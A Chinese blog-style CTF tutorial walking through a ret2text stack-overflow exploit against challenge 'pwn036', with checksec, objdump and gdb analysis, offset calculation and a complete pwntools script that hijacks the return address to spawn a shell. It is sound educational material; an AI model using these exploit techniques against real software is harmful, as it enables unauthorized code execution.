news 2026/10/20 8:38:26

Ret2Text入门实战:栈溢出控制流劫持与后门函数利用详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Ret2Text入门实战:栈溢出控制流劫持与后门函数利用详解

Ret2Text这名字听起来像什么高深魔法,说穿了其实就一句话:程序自己代码里藏了一个能拿flag的后门函数,我们只需要把程序的执行流强行掰到那个函数门口就行了。在CTF pwn的入门序列里,它几乎总是和栈溢出绑定出现,属于绕不开的固定节目。这次拆解的是一道编号为pwn 036的典型题目,核心就两个点——栈溢出怎么发生、怎么精准利用,以及后门函数该怎么找、怎么跳。这篇文章我会把从拿到题目到拿到flag的完整流程走一遍,原理、命令、脚本、坑点全放出来,适合刚接触pwn、会一点Linux基础但还没系统做过栈溢出题的朋友。

1. 开局三板斧:环境准备与情报收集

1.1 file 和 checksec:先搞清二进制的底细

拿到题目给的附件,别急着丢进反汇编工具里,先做最基础的两个命令。第一个是 file,看这个文件到底是什么架构、什么格式、有没有符号信息。

$ file pwn036 pwn036: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped

读结果只需要抓几个关键点:64位、x86-64、动态链接、not stripped。not stripped 意味着符号表还在,函数名能直接看到,这对我们找后门函数非常友好。如果是 stripped 就得靠字符串搜索和特征判断了。

第二个命令是 checksec,这个必须养成习惯。它检查二进制开启了哪些安全防护机制,直接决定我们用哪种利用手法。

$ checksec --file=./pwn036 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

重点看四个字段:Stack 显示 No canary found,说明栈上没放金丝雀,溢出不会触发检测;PIE 显示 No PIE,说明代码段地址固定,后门函数的地址可以直接写死在 payload 里;NX enabled 说明栈不可执行,但这道题无所谓,因为我们用的是 ret2text,根本不需要在栈上执行代码;RELRO 是 Partial,暂时用不上,知道有这个东西就行。

这两条命令跑完,这道题的利用策略基本就定下来了:栈溢出覆盖返回地址,跳到代码段里已有的后门函数完成利用。

1.2 黑盒跑一遍:观察程序行为和脆弱点

拿到程序先别急着静态分析,直接跑起来看它想干什么。这一步能快速确认漏洞点的触发方式。

$ ./pwn036 Welcome to PWN036, please input your message:

程序打印一行提示,然后等待输入。试着输入一串普通的字符串,程序会原样回显一下就结束。这时候换成超长输入试试:

$ python3 -c "print('A'*200)" | ./pwn036 Welcome to PWN036, please input your message: Segmentation fault

直接段错误。这个现象说明程序使用了类似 gets、read 这类不检查长度的输入函数,我们的超长输入把栈上的返回地址给冲掉了,程序往回跳的时候找不到合法地址就崩溃了。

段错误本身不重要,但它验证了一个关键事实:漏洞点就在这个输入函数上,而且返回地址确实可控。这就是栈溢出的典型特征。注意有些程序崩溃前会打印额外信息,某些信息泄露类题目就是靠崩溃方式的差异来推断地址,不过这道题不需要搞那么复杂。

1.3 情报汇总:这些信息决定了打法

到这里可以做个阶段总结,也顺便解释为什么 checksec 的每个字段都和后面的选择挂钩。

防护机制题目状态这是否影响 ret2text 打法
Canary关闭可以直接覆盖返回地址,不需要先泄露金丝雀
PIE关闭代码段地址固定,后门函数地址可以直接写死
NX开启不能执行栈上代码,但 ret2text 本来就跳去代码段
RELROPartial暂时无关,不需要改 GOT 表

很多新手看到 NX enabled 就开始慌,以为要绕 NX,实际上只要利用路径是"跳到程序已有代码",NX 完全不影响。真正影响 ret2text 的就是 Canary 和 PIE,二者有任何一个开启,都得换思路,要么先泄露再绕过,要么改用 ret2libc、ret2csu 这些更进阶的手法。这道题两者都关,属于最舒服的配置,出题人就是来送分的。

2. 原理拆解:为什么 Ret2Text 是入门必修课

2.1 函数栈帧与返回地址:栈溢出的本质是控制流劫持

想理解 ret2text,得先搞懂函数调用时栈上发生了什么事。x86-64 下,一个函数被调用时,call 指令会把下一条指令的地址压栈,这就是返回地址;函数开头通常会保存调用者的 rbp 指针,再把 rsp 往下挪一段空间给局部变量用。

栈上的内存布局从高地址到低地址大概长这样:

高地址 +------------------+ | 调用者的局部变量 | +------------------+ | 返回地址 | <- rbp+8 +------------------+ | 保存的 rbp | <- rbp +------------------+ | 局部变量区(缓冲区)| <- rbp - 0xXX +------------------+ | ... | 低地址

如果输入函数往缓冲区里写数据时不检查长度,数据就从低地址往高地址一路填过去,先是填满缓冲区,然后覆盖保存的 rbp,最后覆盖到返回地址。函数执行到 ret 指令时,CPU 会把栈顶的返回地址弹出,跳去执行。我们塞进返回地址位置的那个值,就是程序下一步要去的地方。

控制流劫持的思路就这么建立起来了:往返回地址的位置放一个我们希望的地址,程序退休时就会乖乖跳过去。这和"快递填错收件人,包裹就送到了别人手里"很像,栈就是我们写的快递单,返回地址就是收件人字段,覆盖它就等于篡改了投递目的地。

2.2 ret2text、ret2shellcode、ret2libc 的分工

栈溢出利用手法里有几个经常被放在一起比较的概念:ret2shellcode、ret2text、ret2libc。三者最终目的都是劫持控制流,但目标位置完全不同。

手法跳去哪核心前提适用场景
ret2shellcode栈上我们布置的 shellcodeNX 关闭程序没开 NX,允许栈执行
ret2text程序自带的代码段后门函数程序里恰好有危险函数出题人留了后门,最省事
ret2libclibc 里的 system 等函数知道 libc 版本或能泄露地址程序没后门,NX 又开启

ret2shellcode 依赖栈可执行,现在大多数题目 NX 都开着,这条路走不通;ret2libc 要对抗 ASLR,往往得先泄露地址,复杂度高不少;ret2text 是三者里最省心的,因为它连地址都不用猜(PIE 关了),只要程序代码里有个能用的后门函数,拼一个 payload 就能打通。

说白了,ret2text 是 CTF pwn 新手的第一道分水岭:它帮你建立"覆盖返回地址 + 跳转到指定地址"这两个核心肌肉记忆。有了这个基础,后面理解 ret2csu、ROP 链这些东西会更顺滑。

2.3 后门函数:出题人藏好的捷径

为什么叫"后门函数"?因为正常程序逻辑里根本不该调用它,但出题人写代码时故意留下了这么一段,可能是用来调试的,也可能是题目设计的"彩蛋"。常见形态有两种:

一种是比较隐蔽的,函数名奇怪,比如叫 system_hack、get_flag、my_func,函数内部直接调用 system("/bin/sh") 或者把 flag 文件读出来打印。另一种是函数内部看起来啥都没干,但地址上藏了特殊指令序列,比如刚进入函数就是 execve("/bin/sh", 0, 0) 的 syscall。

对于新手来说,找到后门函数最直接的方法是看字符串和函数名。反汇编后如果看到一个函数地址指向的代码片段里出现 "/bin/sh" 或者 "cat flag" 这类字符串,基本可以确定它就是我们要找的目标。

这道题里的后门函数藏在正常代码之外,反编译后能看到它调用 system 函数,参数指向一个 "/bin/sh" 字符串。只要我们能跳到这个函数开头,程序就会交出交互 shell,然后在里面执行 cat flag 就能拿到题目 flag。

3. 从反汇编到一发入魂:完整解题实操

3.1 反汇编定位后门函数与漏洞点

正式开始分析。我习惯先用 objdump 扫一遍符号表,快速确认有没有可疑函数。

$ objdump -t ./pwn036 | grep -E "F .text"

在输出里除了正常的 main、_start 之类,能看到一个不在常规清单里的函数名,比如 backdoor。接下来反汇编这个函数,确认它到底干了什么:

$ objdump -d ./pwn036 | grep -A 20 "<backdoor>:"

反汇编输出大概长这样:

0000000000400792 <backdoor>: 400792: push rbp 400793: mov rbp,rsp 400796: mov edi,0x4008d4 40079b: call 0x4004d0 <system@plt> ...

地址 0x400796 把 0x4008d4 这个参数放到 edi 寄存器里,然后调用 system@plt。0x4008d4 大概率就是 "/bin/sh" 字符串的地址。验证一下:

$ strings -t x ./pwn036 4008d4 /bin/sh

信息对上了。后门函数地址是 0x400792,它做的事情等效于 system("/bin/sh"),跳进去就能拿到 shell。这个函数通常不会出现在正常的 main 调用链里,所以反汇编的时候要多留个心眼:凡是 main 里没调用过的自定义函数,都值得点进去看一眼。

同时也反汇编 main 里负责接收输入的那个函数,看看漏洞点长什么样:

vuln: 40069a: push rbp 40069b: mov rbp,rsp ... 4006a7: sub rsp,0x20 4006ab: lea rax,[rbp-0x20] 4006af: mov rdi,rax 4006b2: call 0x4004e0 <gets@plt> ...

这里有两个关键信息:函数开头 sub rsp, 0x20,给局部变量腾了 32 字节空间;gets 读入时目标地址是 rbp-0x20,也就是缓冲区起点。gets 不检查长度,漏洞确认无疑。

3.2 精确计算偏移量:从原理到命令

搞定目标地址,接下来要算一件事:从缓冲区起始位置到返回地址,中间到底要填多少个字节的 padding。

结合反汇编里的 sub rsp, 0x20,缓冲区起点在 rbp-0x20。栈上从缓冲区起点到返回地址的布局是:

缓冲区: rbp-0x20 到 rbp-0x01,共 0x20 字节 保存的 rbp: rbp 到 rbp+0x07,共 8 字节 返回地址: rbp+0x08 开始

所以偏移量 = 0x20 + 8 = 0x28,也就是 40 字节。低地址侧的 0x20 字节填充缓冲区,再填充 8 字节覆盖掉保存的 rbp,第 41 到 48 字节就正好落在返回地址上。

不过手工算偏移的前提是反汇编信息完整、自己能看明白栈布局。更稳妥的方式是用工具实测,毕竟有些代码为了对齐和优化,实际栈布局可能比反汇编读出来的复杂。pwntools 里的 cyclic 就是干这个的:

$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa...

把这个 pattern 作为输入发给程序,程序崩溃后用 gdb 看崩溃时的 RIP:

$ gdb ./pwn036 -q gdb-peda$ run < <(cyclic 200) ... RIP: 0x6161616c ('laaa')

RIP 显示的值是 "laaa",对应 pattern 里的那 4 个字符。然后用 cyclic 反查偏移:

$ cyclic -l 0x6161616c 40

同样是 40。两套方法互相印证,偏移量确认就是 0x28。这里也建议新手把两种方式都跑一遍,形成习惯之后出题环境再复杂,也能快速验证。

3.3 构造 payload:Padding、地址与字节序

偏移量有了,目标地址有了,payload 的结构就是三块拼起来:

payload = padding字节 + 覆盖rbp字节 + 返回地址 payload = 'A' * 0x20 + 'B' * 0x08 + p64(0x400792)

第一个 0x20 字节填缓冲区,第二个 8 字节填掉保存的 rbp,最后 8 字节是覆写后的返回地址。注意 p64 函数会把 0x400792 转成 64 位小端字节序,也就是 \x92\x07\x40\x00\x00\x00\x00\x00。小端序意味着低位字节在前,这是 x86 架构的基本规则,写脚本时只要有 p64 在就不用手动处理,但心里得清楚这件事。

实际发送时还有两个容易忽略的细节:

第一,gets 读到换行符才停止。payload 里如果包含 0x0a 这个字节,就会被当成输入结束,后面全被截断。0x400792 的原始字节不含 0x0a,所以可以用 gets 正常传输。

第二,gets 会保留 0x00 字节,所以地址里的高位 0x00 不会被截断。但如果题目漏洞点是 strcpy,那遇到 0x00 就麻烦了,地址高位有 0x00 直接写不进去,得想办法换利用路径。这道题用 gets,没有这个顾虑。

3.4 完整 Exp 脚本:本地验证与远程一把梭

到这里,利用思路闭环了。完整脚本用 pwntools 写出来,核心就一个 sendline 加一个 interactive。我在本地先用 process 打通,确保逻辑没问题,再切远程打实际目标。

from pwn import * context.log_level = 'info' context.arch = 'amd64' # 本地调试 elf = ELF('./pwn036') backdoor = 0x400792 # 后门函数地址 payload = b'A' * 0x28 + p64(backdoor) if args.REMOTE: p = remote('题目给的地址', 10086) else: p = process('./pwn036') p.recvuntil(b'input your message:') p.sendline(payload) p.interactive()

逐段解释一下:context.log_level 设为 info,pwntools 会打印收发数据的摘要,调试时能看到 payload 到底发出去没有;elf = ELF('./pwn036') 是加载 ELF 信息,之后可以用 elf.symbols['backdoor'] 代替手工填地址,省得每次反编译查;payload 里 b'A' * 0x28 对应 40 字节填充,p64(backdoor) 是目标地址。

本地跑通之后,把 REMOTE 参数加上就能一键打远程,这是 pwntools 的常规操作:

$ python3 exp.py [+] Starting local process './pwn036': pid 12345 [+] Receiving all data: Done [*] Switching to interactive mode $ cat flag flag{test_flag}

看到$提示符就说明拿到了 shell,输入 cat flag,flag 直接打印出来。整个流程走完,归到本质就三件事:找到后门地址,算出偏移量,用 payload 覆盖返回地址。

3.5 为什么这道题能"一发入魂":稳定性的逻辑

可能有朋友会问:如果开了 ASLR,后门函数地址不是会随机变化吗?这里需要解释清楚。

checksec 显示的 No PIE 意味着 ELF 文件本身的代码段基址固定,不管 ASLR 怎么开,代码段里的函数地址都是常数。所以这道题里 0x400792 永远有效。ASLR 随机化的是栈、堆、libc 这些映射区域的基址,后门函数在代码段,靠的是 ELF 加载器固定映射,不受影响。

这也是 ret2text 用作入门题的重要原因:流程短、变量少、结果确定。不依赖任何泄露,一次 payload 必中,很适合用来建立信心。等以后遇到 PIE 开启的题,地址就得靠泄露来算,那时候 ret2text 就不够用了,得换 ret2libc 和 DynELF 那套东西。

4. 翻车现场汇总:常见问题与排查技巧实录

4.1 偏移量差一点,程序老段错误

症状:payload 发过去,程序直接崩溃,或者 ROP 执行到一半就挂。

最常见的偏移量翻车有两种:一是手工计算时忘了算上保存的 rbp。缓冲区到 rbp 的距离算对了,但没 +8,导致返回地址写到了 rbp 的上一个位置,ret 时 CPU 弹出的是我们填充的 rbp 垃圾数据。二是缓冲区起点判断错了,比如反汇编里看到 lea rax, [rbp-0x20],以为偏移就是 0x20,实际应该是 0x20 + 8 = 0x28。

排查方法:用 cyclic 实测一遍,别省这一步。我把 cyclic -l 返回的结果和手工算的结果对不上时,会优先信 cyclic,然后回去重新看反汇编,研究是哪里漏了。

4.2 gets 输入被截断:坏字符问题

症状:payload 里的地址带了 0x0a,read 或 gets 读到这个字节就认为一行结束,后半段地址根本没写进去。

比如后门函数地址是 0x400a0b,p64 之后包含字节 0x0a,gets 输入到换行符就停了,地址被腰斩。这不是逻辑问题,是坏字符问题。

处理思路三条路:一是找同功能替代地址,比如函数内部某个 ret 指令作为跳板,先进函数再说;二是换输入方式,如果程序里同时有 read 调用可以用 read 读指定长度,它能容忍 0x0a;三是改用 write 泄露后二次利用,不过那已经是进阶路线了。常规题目一般不会刁难到这个程度,但实战中遇到过,值得留意。

4.3 64 位下的栈对齐:system 莫名段错误

症状:payload 完全正确,地址没问题,偏移没问题,本地一跑直接 SIGSEGV,但 gdb 里打断点看寄存器又都正常。

64 位下调用 system 时,如果栈没有按 16 字节对齐,system 内部某些指令(比如 movaps)会触发段错误。这是 64 位利用的经典陷阱。很多时候差一个 ret 就全好了。

套路是在 payload 里加一个 ret gadget,让栈多弹一层:

ret = 0x4004d6 # 反汇编找到的 ret 指令地址 payload = b'A' * 0x28 + p64(ret) + p64(backdoor)

这样 CPU 先执行一次 ret,rsp 前移 8 字节,栈对齐恢复,再跳进后门函数就稳了。这道题如果直接跳后门函数没出问题,可以暂时不管;但做 ret2libc 时遇到莫名崩溃,第一个怀疑对象就该是栈对齐。

4.4 本地打通远程不通:环境不一样

症状:exp 在本地一打就出 shell,远程一打就崩,或者没反应。

远程和本地不通的原因分三类:

第一类是远程程序的保护和本地附件不一致,比如远程开了 PIE 或 Canary,本地这个附件没开。这属于出题方配置问题,只能换思路,或者找题目自带提示。

第二类是交互逻辑不一致,远程有题目前缀提示,recvuntil 匹配不上。pwntools 的 recv 卡住会表现为脚本挂起,看不到报错。处理办法是把 context.log_level 调成 debug,看实际收到的字节长什么样,再调整匹配字符串。

第三类是 libc 版本不一致,但这道题用 ret2text 不碰 libc 地址,不涉及这个问题。如果打 system 传入的是固定参数地址,那确实要考虑远程 /bin/sh 字符串地址是否一致,实际上是题内固定的,问题不大。

4.5 调试三板斧:gdb、cyclic 和断点定位

最后分享一套我调试栈溢出题惯用的三板斧。

第一板斧,gdb 挂上后先用 disas 看函数开头,确认栈帧大小和缓冲区位置,这一步是手工算偏移的基础。

第二板斧,用 pwntools 的 cyclic 生成 pattern,配合 gdb 看崩溃 RIP,然后 cyclic -l 反查偏移。只要偏移算错,这一招十秒定位。

第三板斧,在调用后门函数的 ret 指令处下断点,单步执行一步,观察 RIP 是否跳到了目标地址。如果跳对了还崩溃,检查栈对齐和参数传递;如果没跳对,回头检查 payload 长度和地址字节序。

这三个动作能覆盖绝大多数"payload 为什么没生效"的排查场景。做多了以后你会发现,栈溢出本身的原理并不复杂,大部分时间其实花在"算对偏移"和"查清环境"这两件事上。

拿到这道题的 flag 之后,如果还想进一步练,可以在原题基础上自己改一改:给它开个 Canary 试试,或者开个 PIE 试试,看看原来的 payload 会怎么失效,再研究绕过方案。我的实际经验是,把一道简单题往难里改三遍,比连刷十道难度相近的题收获更大。pwn 这东西,动手踩坑一次,胜过看十篇教程。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 8:38:26

Java与MySQL学籍管理系统:从数据库设计到JDBC事务的毕业设计实战解析

简介&#xff1a;基于Java与MySQL实现的大学生学籍管理系统毕业设计&#xff0c;是一份面向计算机类专业毕业生或课程设计学习者的完整工程包。系统覆盖学生、班级、院系、专业、课程、成绩、奖惩等核心业务模块&#xff0c;并实现了性别输入规则、学生信息视图、成绩单存储过程…

作者头像 李华
网站建设 2026/10/20 8:37:56

MCP模型上下文协议全解析:从工具调用标准化到工程落地实践

最近身边好几个做AI应用的朋友都在问我同一个问题&#xff1a;MCP到底是什么&#xff1f;为什么聊天工具体系里要专门搞一个协议&#xff1f;我第一次接触这个词的时候也懵&#xff0c;又是一个英文缩写。后来自己动手把官方文档啃了一遍&#xff0c;又照着写了一个最小可运行的…

作者头像 李华
网站建设 2026/10/20 8:37:22

本科论文AI写作工具实测:千笔与万方智搜AI的搭配攻略

这两年被问得最多的&#xff0c;不是什么排版技巧&#xff0c;也不是问卷数据分析&#xff0c;而是很朴素的一句话&#xff1a;“论文实在写不动了&#xff0c;有没有靠谱的AI工具能救我一把&#xff1f;”问我的基本都是本科生&#xff0c;从大三的课程论文到大四的毕业设计&a…

作者头像 李华
网站建设 2026/10/20 8:36:49

PCB设计软件快捷键全攻略:配置、冲突排查与效率提升

画PCB的人桌上一般有两样东西是绝对不能少的&#xff1a;一把好用的鼠标&#xff0c;和一套自己烂熟于心的快捷键。鼠标决定下限&#xff0c;快捷键决定上限。我刚入行那会儿&#xff0c;画一块双面板能在布局布线阶段磨上好几天&#xff0c;后来跟着一个老工程师做项目&#x…

作者头像 李华
网站建设 2026/10/20 8:36:47

Docker基础入门:镜像、容器与Dockerfile实战解析

1. 从“环境地狱”说起&#xff1a;为什么第一课一定是Docker我第一次接触Docker&#xff0c;是在一个极其狼狈的下午。当时我接到一个任务&#xff0c;要把一套内部系统从老服务器迁移到新环境&#xff0c;依赖里有一个老版本的数据库驱动和一个特定版本的编译工具链。新机器上…

作者头像 李华
网站建设 2026/10/20 8:36:38

大模型竞争格局深度拆解:从技术路线到商业选型指南

全球大模型竞争走到今天&#xff0c;单纯拼参数已经没什么新鲜感了。打开任何一份榜单&#xff0c;前排选手的评分差距往往就在一两个点之间&#xff0c;真正拉开身位的是更底层的选择&#xff1a;走哪条技术路线、服务哪类用户、靠什么撑起长期成本。这一轮格局分析&#xff0…

作者头像 李华